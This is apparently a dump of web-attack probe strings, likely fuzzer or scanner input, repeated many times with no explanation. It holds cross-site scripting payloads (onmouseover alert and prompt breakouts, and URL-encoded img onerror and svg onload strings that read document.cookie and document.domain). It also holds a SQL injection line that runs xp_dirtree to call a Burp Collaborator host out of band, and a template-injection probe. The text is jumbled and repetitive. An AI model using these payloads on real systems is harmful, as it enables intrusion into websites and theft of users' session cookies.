">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e
">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e
">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e);declare @q varchar(99);set @q='\\urpw0tx8k5o9l4xstlzhy9v3hunmlac20unmbb.burpcollab'+'orator.net\qve'; exec master.dbo.xp_dirtree @q;--
wyt
">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">"
">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">i2z4w7%{{z${{z
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e
">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">
%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e%2e%74%78%74%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%0a%27%3e%3c%73%63%72%69%70%74%3e%70%72%6f%6d%70%74%28%32%33%34%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%0a%22%3e%3c%73%76%67%2f%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%31%29%3e%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%37%29%3b%0a%22%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%70%72%6f%6d%70%74%28%39%36%39%36%30%31%29%27%62%61%64%3d%22%3e
">.txt
">
'>prompt(234)
">alert(1)
">
"onmouseover="alert(7);
"onmouseover='prompt(969601)'bad=">